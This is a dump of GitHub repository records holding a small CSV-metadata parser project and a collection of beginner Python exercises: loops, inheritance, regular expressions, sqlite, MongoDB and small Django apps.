\"README.rst\")\n\n def test_open(self):\n \"\"\" I test that file_opener gets things correctly!\"\"\"\n with open(\"sample.rst\") as f:\n text = f.read()\n self.assertEqual(text, simplicity.file_opener(\"sample.rst\"))\n\n\nclass TextCleanup(unittest.TestCase):\n pass\n\n\nclass TypeConverter(unittest.TestCase):\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n" } ]
7
fneuhaus/DataOrganizer
https://github.com/fneuhaus/DataOrganizer
7ebb75ca29ff81a10bfe28805b5878b8fa5f6b54
4b913da0303822792baad5995d3a68427e87e080
c022c35c369e224a7d2534db5ca6b84bf1fa3218
refs/heads/master
2020-12-20T20:12:13.778274
2020-01-25T15:35:29
2020-01-25T15:35:29
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6491228342056274, "alphanum_fraction": 0.6561403274536133, "avg_line_length": 19.35714340209961, "blob_id": "e79d0653eac471e174dca1d7ae568f34b819bc72", "content_id": "86803f32ef5e91e18944be7a2ae1bf3b9b3ecad9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 285, "license_type": "no_license", "max_line_length": 48, "num_lines": 14, "path": "/test.py", "repo_name": "fneuhaus/DataOrganizer", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nfrom backends import CSVBackend\n\n\ndef csv_test():\n csv_file = 'backends/csv/testdata/file1.csv'\n parser = CSVBackend(csv_file)\n print(parser)\n print(parser.meta_data)\n print(parser.meta_data.parameters)\n\n\nif __name__ == '__main__':\n csv_test()\n" }, { "alpha_fraction": 0.7528957724571228, "alphanum_fraction": 0.7567567825317383, "avg_line_length": 29.47058868408203, "blob_id": "69a8241fcb3ab9438d3b73ab0829cb63ca1b1a05", "content_id": "c1f20a2ee26d299637c75c25f1963766ce2c88a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 518, "license_type": "no_license", "max_line_length": 259, "num_lines": 17, "path": "/README.md", "repo_name": "fneuhaus/DataOrganizer", "src_encoding": "UTF-8", "text": "# DataOrganizer\nThe organization works by using meta data saved in a meta data section of the measurement file. Parser \"_backends_\" for different types of measurement data can be implemented. Below an example backend for meta data stored in the header of a CSV file is shown.\n\n## CSV header backend\n\nThe measurement metadata is encapsuled in a `BEGINMETA`-`ENDMETA` block. Each line depicts one parameter of the measurement.\n\n```\n# BEGINMETA\n# parameter1: value\n# parameter2: value\n...\n# ENDMETA\n\n# time, data\n...\n```\n" }, { "alpha_fraction": 0.8571428656578064, "alphanum_fraction": 0.8571428656578064, "avg_line_length": 35, "blob_id": "aaa511aa28461129de844dd632a4c1d1725af1e6", "content_id": "42aea0846a734dcd12f570b2f2b8709e6875e2fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 35, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/backends/__init__.py", "repo_name": "fneuhaus/DataOrganizer", "src_encoding": "UTF-8", "text": "from .csv.backend import CSVBackend" }, { "alpha_fraction": 0.5928338766098022, "alphanum_fraction": 0.5928338766098022, "avg_line_length": 24.625, "blob_id": "46feaf70a0c49eeea2a9e1d346c7adf11826bd80", "content_id": "b1a0a979db0ea8b43b79cbef8bd79817fedc4ac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 614, "license_type": "no_license", "max_line_length": 68, "num_lines": 24, "path": "/backend.py", "repo_name": "fneuhaus/DataOrganizer", "src_encoding": "UTF-8", "text": "from metadata import MetaData\n\n\nclass ParsingError(Exception):\n def __init__(self, msg=''):\n self.msg = msg\n def __repr__(self):\n return f'{self.__class__.__name__}: {self.msg}' \n\n\nclass Backend:\n \"\"\"General backend for parsing data files for meta data.\"\"\"\n\n def __init__(self, data_file_path):\n self.data_file_path = data_file_path\n self.meta_data = None\n\n def parse(self):\n \"\"\"Parse meta data parameters and values from data file.\"\"\"\n\n raise NotImplementedError\n\n def __repr__(self):\n return f'<{self.__class__.__name__}: {self.data_file_path}>'" }, { "alpha_fraction": 0.6322957277297974, "alphanum_fraction": 0.6322957277297974, "avg_line_length": 31.125, "blob_id": "22dd75071fc658d4aaff8f6dacc17ccc89b76b6a", "content_id": "27accafa3dd2b47c65435a313bb90907a8ac75ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 514, "license_type": "no_license", "max_line_length": 101, "num_lines": 16, "path": "/metadata.py", "repo_name": "fneuhaus/DataOrganizer", "src_encoding": "UTF-8", "text": "class MetaData:\n def __init__(self, data_file_path):\n self.data_file_path = data_file_path\n self.parameters = {}\n\n def __repr__(self):\n \treturn f'<{self.__class__.__name__}: {self.data_file_path} ({len(self.parameters)} parameters)>'\n\n def add_parameter(self, parameter):\n self.parameters[parameter] = None\n\n def set_parameter(self, parameter, value):\n self.parameters[parameter] = value\n\n def get_parameter(self, parameter):\n return self.parameters[parameter]\n" } ]
5
rajeshanu/rajeshprograms
https://github.com/rajeshanu/rajeshprograms
c23cf550e060040c7b336242a805e274d3305371
83f0fc9c4a8628bba590d1066ca93fd98137f0bc
fb16f7024e0d93ecb07c122e633c1a957a8ab645
refs/heads/master
2020-04-04T13:17:55.986558
2018-11-03T06:42:51
2018-11-03T06:42:51
155,956,676
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.743842363357544, "alphanum_fraction": 0.7487684488296509, "avg_line_length": 24.5, "blob_id": "ebb5a09ea9b209c71467aa7086f0b2619815c3a8", "content_id": "880ddf7a71ff24314a25b2c564a89f8a5c212e36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 203, "license_type": "no_license", "max_line_length": 70, "num_lines": 8, "path": "/django/SQLITE/DEMO3.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import sqlite3 as sql\nconn=sql.connect(\"raj.db\")\ncurs=conn.cursor()\ncurs.execute(\"create table product(id number,name text, salary real)\")\nprint(\"table created\")\ncurs.close()\nconn.close()\nprint(\"thanks\")" }, { "alpha_fraction": 0.5425000190734863, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 21.27777862548828, "blob_id": "06510406bbe087250911c491b98494ed7aa5d882", "content_id": "1f3ed69eb24482f77156b19c60638162ab3ac5ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 44, "num_lines": 18, "path": "/inheritance/demo9.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class employee():\n def assign (self,id=0,name=None,sal=00):\n self.idno=id\n self.name=name\n self.salary=sal\n def display(self):\n print(\"id=\",self.idno)\n print(\"name=\",self.name)\n print(\"sal=\",self.salary)\ne=employee()\ne.assign()\ne.display()\ne1=employee()\ne1.assign(101,'raj')\ne1.display()\ne2=employee()\ne2.assign(101,'ravi',120000.00)\ne2.display()" }, { "alpha_fraction": 0.49892932176589966, "alphanum_fraction": 0.578158438205719, "avg_line_length": 22.350000381469727, "blob_id": "376e3aa3f6ca3a737a21a10c3077b767b98bf7b6", "content_id": "8f362cd612f0ceb57b0512aa5c73d5b2a07e845d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 467, "license_type": "no_license", "max_line_length": 41, "num_lines": 20, "path": "/inheritance/demo10.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class first:\n def calc(self,no1,no2):\n print(\"add\",no1+no2)\n print(\"sub\",no1-no2)\nclass second(first):\n def calc(self,no1,no2):\n super(second, self).calc(no1,no2)\n print(\"mul\",no1*no2)\n print(\"div\",no1/no2)\nclass third(second):\n def clac(self,no1,no2):\n super().calc(no1,no2)\n print(\"mod\",no1%no2)\n print(\"flor div\",no1//no2)\nf1=first()\nf1.calc(10,20)\ns1=second()\ns1.calc(20,30)\nt=third()\nt.calc(12,6)\n" }, { "alpha_fraction": 0.4248366057872772, "alphanum_fraction": 0.4575163424015045, "avg_line_length": 18.1875, "blob_id": "bc34443bd3f41e42961590e13be8fc229bf6e03a", "content_id": "d9f60799406a59821737476fd84b4a030fe9a6f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 47, "num_lines": 16, "path": "/loops/demo6.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "d={\n \"idno\":101,\n \"name\":\"raj\",\n \"salary\":\"1234512\"\n}\nfor x in d.items():\n print(x)\nprint(\"---------------------\")\nfor x,y in d.items():\n print(x,y)\nprint(\"----unpacking tuple and assign -------\")\nfor x in d.keys():\n print(x)\nprint(\"------------------\")\nfor x in d. values():\n print(x)" }, { "alpha_fraction": 0.8221153616905212, "alphanum_fraction": 0.8221153616905212, "avg_line_length": 22.11111068725586, "blob_id": "9c8a749714edb4f2543f45cebf151ffc85b316ad", "content_id": "8076287d93afff6e3170566afe04f9b2459a03eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 32, "num_lines": 9, "path": "/django/project20/app20/admin.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\nfrom .models import course\nfrom .models import faculity\nfrom .models import newclass\n\nadmin.site.register(course)\nadmin.site.register(faculity)\nadmin.site.register(newclass)\n" }, { "alpha_fraction": 0.5180723071098328, "alphanum_fraction": 0.5903614163398743, "avg_line_length": 19.75, "blob_id": "a6b9ef8f1d4ca35978bbd16c1c3fa39ead752858", "content_id": "5baff04e673aa1e188f0abe04fd9f83ee9ee9e05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 166, "license_type": "no_license", "max_line_length": 26, "num_lines": 8, "path": "/conditional control statements/demo1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no1= int(input(\"1st no:\"))\nno2= int(input(\"2nd no:\"))\nif no1>no2:\n print(no1,\"is big\")\nif no2>no1:\n print(no2,\"is big\")\nif no2==no1:\n print(\"both are same\")\n" }, { "alpha_fraction": 0.5965217351913452, "alphanum_fraction": 0.6113043427467346, "avg_line_length": 30.108108520507812, "blob_id": "7ea8811c22129902badb15f7ee53d10f7e5178d3", "content_id": "9018f5dc395557914b58ab12bd97d49ddc5ccbf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1150, "license_type": "no_license", "max_line_length": 94, "num_lines": 37, "path": "/django/pro8/app8/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom firebase import firebase as fab\nfa = fab.FirebaseApplication(\"https://rajesh-fd194.firebaseio.com/Employee\",None)\ndef showindex(request):\n return render(request,\"index.html\")\ndef showregister(request):\n id=request.GET.get(\"update_id\")\n if id==None:\n d1= fa.get(\"Employee/\", None)\n key=0\n if d1==None:\n key=101\n else:\n for x in d1:\n key=x\n key = int(key)+1\n return render(request,\"register.html\",{\"key\":key})\n else:\n d1 = fa.get(\"Employee/\",id)\n return render(request,\"register.html\",{\"key\":id,\"name\": d1[\"name\"], \"cno\": d1[\"cno\"]})\n\n\ndef showviews(request):\n d2=fa.get(\"Employee/\",None)\n return render(request,\"views.html\",{\"d2\":d2,\"id\":id})\ndef showdetails(request):\n id=request.POST[\"idno\"]\n name=request.POST.get(\"uname\")\n cno=request.POST.get(\"cno\")\n\n d={\"name\":name,\"cno\":cno}\n fa.put(\"Employee/\",id,d)\n return render(request,\"index.html\")\ndef deleteDetails(request):\n id = request.POST.get(\"delete_id\")\n fa.delete(\"Employee/\",id)\n return showviews(request)" }, { "alpha_fraction": 0.559440553188324, "alphanum_fraction": 0.559440553188324, "avg_line_length": 16.75, "blob_id": "bcc22bbb52177f20e3894260191d4b478e3a9750", "content_id": "a048f4cc38a2ae7e54b2b60c28ba44ffa5cf9318", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 143, "license_type": "no_license", "max_line_length": 32, "num_lines": 8, "path": "/inheritance/demo5.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def __init__(self):\n print(\"defult constuctor\")\nclass B(A):\n def show(self):\n print(\"show of class B\")\nb=B()\nb.show()\n\n" }, { "alpha_fraction": 0.732824444770813, "alphanum_fraction": 0.7595419883728027, "avg_line_length": 36.42856979370117, "blob_id": "e05e1c15b9f143f498acff9a4a58e04bed42eb92", "content_id": "286edd46f53ded9cf2e0bdd29dda3d73462a50e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 262, "license_type": "no_license", "max_line_length": 54, "num_lines": 7, "path": "/django/project24/app24/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass profile(models.Model):\n no=models.IntegerField(default=4,primary_key=True)\n name=models.CharField(max_length=50)\n cno=models.IntegerField(default=10)\n path=models.CharField(max_length=50)\n# Create your models here.\n" }, { "alpha_fraction": 0.5030800700187683, "alphanum_fraction": 0.558521568775177, "avg_line_length": 23.350000381469727, "blob_id": "445a962a983ce9345f0ec75db37ac568b7ff5339", "content_id": "4c57f4f9492ce91c742b955f13eea18309ee5097", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 487, "license_type": "no_license", "max_line_length": 97, "num_lines": 20, "path": "/django/project31/app31/migrations/0002_login.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-26 12:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app31', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='login',\n fields=[\n ('uemail', models.EmailField(max_length=254, primary_key=True, serialize=False)),\n ('feedback', models.CharField(max_length=250)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.4969114661216736, "alphanum_fraction": 0.5202471017837524, "avg_line_length": 32.88372039794922, "blob_id": "a42b5c0711ec3373da5af3296052f036008e567a", "content_id": "dce0e52a559af70b75b3b01579e1d65eaee9eeba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1457, "license_type": "no_license", "max_line_length": 90, "num_lines": 43, "path": "/django/project20/app20/migrations/0001_initial.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-12 16:29\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='course',\n fields=[\n ('id', models.IntegerField(default=2, primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('duration', models.IntegerField(default=4)),\n ('fee', models.IntegerField(default=5)),\n ],\n ),\n migrations.CreateModel(\n name='facality',\n fields=[\n ('id', models.IntegerField(default=2, primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('cno', models.IntegerField(default=10)),\n ('experiance', models.DecimalField(decimal_places=1, max_digits=2)),\n ('username', models.CharField(max_length=10)),\n ('password', models.CharField(max_length=10)),\n ],\n ),\n migrations.CreateModel(\n name='newclass',\n fields=[\n ('id', models.IntegerField(default=2, primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('time', models.TimeField()),\n ('date', models.DateField()),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.7453183531761169, "alphanum_fraction": 0.7602996230125427, "avg_line_length": 43.66666793823242, "blob_id": "c72f6b6f218aab985c09a80259c0ad2491a1354f", "content_id": "c884f9c21155b2abbc6b033cf6eb68ae8ce25ed6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 267, "license_type": "no_license", "max_line_length": 68, "num_lines": 6, "path": "/django/project22/app22/forms.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django import forms\nclass StudentForm(forms.Form):\n firstname=forms.CharField(label=\"enter firstname\",max_length=50)\n lastname=forms.CharField(label=\"enter last name\",max_length=10)\n email=forms.EmailField(label=\"enter Email\")\n file=forms.FileField()" }, { "alpha_fraction": 0.5354610085487366, "alphanum_fraction": 0.5405268669128418, "avg_line_length": 22.223529815673828, "blob_id": "037eabe73dadd4e1a585fb124a228b4497cf6fb1", "content_id": "46951c48e7f1d3ab25475d6f83d62c7bb32ba88e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1974, "license_type": "no_license", "max_line_length": 44, "num_lines": 85, "path": "/regular expressions/characters.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"this is python\"\nres=re.findall(r\".\",st)\nprint(res)\nprint(\"------------------------------\")\nimport re\nst= \"i am learning python with naveen\"\nres=re.findall(r\"\\w\",st)\nprint(res)\nprint(\"-----------------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"\\w*\",st)\nprint(res)\nprint(\"------------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"\\w+\",st)\nprint(res)\nprint(\"-----------------------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"^\\w*\",st)\nprint(res)\nprint(\"----------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"\\w+$\",st)\nprint(res)\nprint(\"-------------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"\\w\\w\",st)\nprint(res)\nprint(\"-------------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"\\b\\w.\",st)\nprint(res)\nprint(\"----------------------\")\nimport re\nst=\"[email protected],[email protected],[email protected]\"\nres=re.findall(r\"@\\w+\",st)\nprint(res)\nprint(\"------------------------\")\nimport re\nst=\"[email protected],[email protected],[email protected]\"\nres=re.findall(r\"@\\w+.\\w+\",st)\nprint(res)\nprint(\"-------------------\")\nimport re\nst=\"[email protected],[email protected],[email protected]\"\nres=re.findall(r\"@\\w+.(\\w+)\",st)\nprint(res)\nprint(\"-----------------------------\")\nimport re\nst=\"hi 414 this is 007 from simha\"\nres=re.findall(r\"\\d\",st)\nprint(res)\nprint(\"------------------------\")\nimport re\nst=\"hi 007 this is from sumanth\"\nres=re.findall(r\"\\w+\",st)\nprint(res)\nprint(\"------------------\")\nimport re\nst=\"i am learning python with naveen\"\nres=re.findall(r\"[aeiouAEIOU]\\W+\",st)\nprint(res)\nprint(\"-------------------------\")\nimport re\nuser_name=input(\"name please\")\nres=re.match(\"^[A-Za-z]*$\",user_name)\nif res==None:\n print(\"invalid name\")\nelse:\n print(\"Welcome india:\",user_name)\nprint(\"---------------------\")\nimport re\ninput=input(\"enter an input string:\")\nm=re.match('\\d{5}\\Z',input)\nif m:\n print(\"True\")\nelse:\n print(\"False\")\n" }, { "alpha_fraction": 0.7230769395828247, "alphanum_fraction": 0.7230769395828247, "avg_line_length": 15.5, "blob_id": "a66f83a9f48333a3323d00dd895e68afa2198338", "content_id": "5b8d29ecb0a0730b323f2144910841dcf1ea20ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 65, "license_type": "no_license", "max_line_length": 25, "num_lines": 4, "path": "/regular expressions/match1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nstr=\"simha is here\"\nst=re.match(r\"simha\",str)\nprint(st)" }, { "alpha_fraction": 0.7250000238418579, "alphanum_fraction": 0.7541666626930237, "avg_line_length": 38.5, "blob_id": "00a5156fe6dc52393cde922e8e587001d89f4baf", "content_id": "ece46a3ded520ae894f643afa5fd5b769a0147db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 55, "num_lines": 6, "path": "/django/project23/app23/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass Employee(models.Model):\n sno=models.IntegerField(default=4,primary_key=True)\n name=models.CharField(max_length=50)\n cno=models.IntegerField(default=10)\n path=models.CharField(max_length=80)\n\n\n\n" }, { "alpha_fraction": 0.4910714328289032, "alphanum_fraction": 0.5178571343421936, "avg_line_length": 23.88888931274414, "blob_id": "e99f186114c85cb7aebd355b22c2c3b2714a88db", "content_id": "c89761d466d4e4ef5616124a7333b20821af06bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 224, "license_type": "no_license", "max_line_length": 40, "num_lines": 9, "path": "/django/untitled2/demo3.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "no =int(input(\"enter number:\"))\nm=(2*no)\nfor x in range(0,no):\n for y in range(0, m):\n print(end=\" \")\n m=m-1#decrementing m after each loop\n for y in range(0, x+1):\n print(\"*\", end=' ')\n print(\" \")\n" }, { "alpha_fraction": 0.4854651093482971, "alphanum_fraction": 0.5465116500854492, "avg_line_length": 18.11111068725586, "blob_id": "ce23520e6ae9934ef6c2f57d50cff630dcc21307", "content_id": "a006722669699b62b2947a3f1f045a5c98262398", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/django/proj14/app14/migrations/0002_auto_20181010_1550.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-10 10:20\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app14', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='product',\n old_name='id',\n new_name='_id',\n ),\n ]\n" }, { "alpha_fraction": 0.6814516186714172, "alphanum_fraction": 0.7298387289047241, "avg_line_length": 23.799999237060547, "blob_id": "676014279e72c8b306d4fb1ded759978da1e137f", "content_id": "296abd580c5073c3d749f411e6b753b24c5a9718", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "no_license", "max_line_length": 46, "num_lines": 10, "path": "/mdb/mongodb2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\nfrom pymongo import errors\nmc=MongoClient()\nsa=mc.simha\nd1={\"_id\":1011,\"name\":\"Simha\",\"salary\":120000}\ntry:\n sa.student.insert(d1)\n print(\"Data inserted\")\nexcept errors.DuplicateKeyError as dky:\n print(dky)\n" }, { "alpha_fraction": 0.43934425711631775, "alphanum_fraction": 0.4786885380744934, "avg_line_length": 16, "blob_id": "c4417daa18e29a6179abe4771ee1c01ab19309fc", "content_id": "c61c2f5c60270da4cd02a907307221ec8169d325", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 305, "license_type": "no_license", "max_line_length": 30, "num_lines": 18, "path": "/inheritance/demo12.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def m1(self):\n print(\"m1 is class A\")\nclass B:\n def m1(self):\n print(\"m1 is class B\")\n\nclass C(A,B):\n def m1(self):\n super().m1()\n print(\"m1 is class C\")\nclass C(B,A):\n def m1(self):#\n super().m1()\n print(\"m1 is class C\")\nc=C()\nc.m1()\nc.m1()" }, { "alpha_fraction": 0.45868945121765137, "alphanum_fraction": 0.5498575568199158, "avg_line_length": 18.5, "blob_id": "bdc92c687e9f019fc539f00e4bf19fd9f5332861", "content_id": "5c59a071100692ee8ec765943a9619717c058478", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/mongo2/app2/migrations/0005_auto_20181010_1840.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-10 13:10\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app2', '0004_auto_20181010_1800'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='shop',\n old_name='_id',\n new_name='id',\n ),\n ]\n" }, { "alpha_fraction": 0.6696315407752991, "alphanum_fraction": 0.6747140884399414, "avg_line_length": 38.400001525878906, "blob_id": "66960eb10b56734fe027fb891c33c053f190c524", "content_id": "ae168d35ee72da735ca8d44c8a22e9e62250a6aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 787, "license_type": "no_license", "max_line_length": 136, "num_lines": 20, "path": "/django/proj20/app20/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nimport datetime\n# Create your views here.\ndef showindex(request):\n date=datetime.datetime.now()\n crt_date=date.strftime(\"%y-%m-%d\")\n max_date=date+datetime.timedelta(days=45)\n max_date=max_date.strftime(\"%y-%m-%d\")\n return render(request,\"index.html\",{\"current_date\":crt_date,\"max_date\":max_date})\n\n\ndef show(request):\n dob=request.POST.get(\"dob\")\n doj=request.POST.get(\"doj\")\n date_period=request.POST.get(\"date_period\")\n date=datetime.datetime.now()\n crt_date = date.strftime(\"%y-%m-%d\")\n max_date = date + datetime.timedelta(days=45)\n max_date = max_date.strftime(\"%y-%m-%d\")\n return render(request, \"index.html\", {\"current_date\": crt_date, \"max_date\": max_date,\"dob\":dob,\"doj\":doj,\"date_period\":date_period})" }, { "alpha_fraction": 0.7394636273384094, "alphanum_fraction": 0.7624521255493164, "avg_line_length": 42.33333206176758, "blob_id": "b5d1748eaf5d02a0f53e09af787420a27b3cba97", "content_id": "a25d683590b6050d4bbd26a8fe317f944c293591", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 60, "num_lines": 6, "path": "/django/proj14/app14/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass product(models.Model):\n _id=models.IntegerField(default=2,primary_key=True)\n name=models.CharField(max_length=50)\n price=models.DecimalField(max_digits=9,decimal_places=2)\n quntity= models.IntegerField(default=2)\n\n" }, { "alpha_fraction": 0.5407407283782959, "alphanum_fraction": 0.595061719417572, "avg_line_length": 21.5, "blob_id": "e17d8542900bb420ed108f3558035944c36e7a93", "content_id": "780df4743d90bc0e0df3009d5ce2abc9699567dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 84, "num_lines": 18, "path": "/django/proj12/app12/migrations/0002_auto_20181009_1907.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-10-09 13:37\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app12', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='employee',\n name='id',\n field=models.IntegerField(default=4, primary_key=True, serialize=False),\n ),\n ]\n" }, { "alpha_fraction": 0.7310606241226196, "alphanum_fraction": 0.7613636255264282, "avg_line_length": 31.875, "blob_id": "30dd48aeaa5ee9cf7e25f6c41f19c9575888b94d", "content_id": "9ba654163ee9122232b24101236d6aa77a28c7b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 264, "license_type": "no_license", "max_line_length": 61, "num_lines": 8, "path": "/django/project29/app29/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\n\n\nclass employee(models.Model):\n name=models.CharField(max_length=50)\n cno=models.IntegerField(default=10,primary_key=True)\n desig=models.CharField(max_length=50)\n salary=models.DecimalField(max_digits=8,decimal_places=2)\n\n" }, { "alpha_fraction": 0.4879120886325836, "alphanum_fraction": 0.5047619342803955, "avg_line_length": 34, "blob_id": "d98f2b179b26723bb64108e4afb37c054e932f18", "content_id": "7d4d7867df5d35cc9c8095018233a74b5fb4eea7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 80, "num_lines": 39, "path": "/django/project24/app24/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom app24.forms import profileform\nfrom app24.models import profile\nimport os\n\ndef showindex(request):\n if request.method == 'POST':\n no = request.POST.get(\"sno\")\n name = request.POST.get(\"name\")\n cno = request.POST.get(\"cno\")\n pro = profileform(request.POST, request.FILES)\n if pro.is_valid():\n if os.path.exists(\"app24/static/upload/\" + cno):\n pass\n else:\n os.makedirs(r\"app24/static/upload/\" + cno)\n pf = request.FILES['file']\n\n with open('app24/static/upload/' + cno + '/' + pf.name, 'wb+') as d:\n for a in pf.chunks():\n d.write(a)\n pr = profile.objects.last()\n p = 'upload/' + cno + '/' + pf.name\n p1 = profile.objects.last()\n id = 0\n if p1 == None:\n id += 1\n else:\n id = pr.no\n id = int(id) + 1\n d1 = profile(no=id, name=name, cno=cno, path=p)\n d1.save()\n d2 = profile.objects.all()\n return render(request, \"index.html\", {\"form\": pro, \"d2\": d2})\n else:\n emp = profileform()\n d2 =profile.objects.all()\n return render(request, \"index.html\", {\"form\": emp, \"d2\": d2})\n" }, { "alpha_fraction": 0.460829496383667, "alphanum_fraction": 0.5069124698638916, "avg_line_length": 13.533333778381348, "blob_id": "1c063ed73964a8c1acd31b9c0d19d4cc3d46529e", "content_id": "777b9f53b328233acc435d5eaeb31ef858ee7669", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 217, "license_type": "no_license", "max_line_length": 27, "num_lines": 15, "path": "/loops/demo5.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "d={\n \"idno\":101,\n \"name\":\"raj\",\n 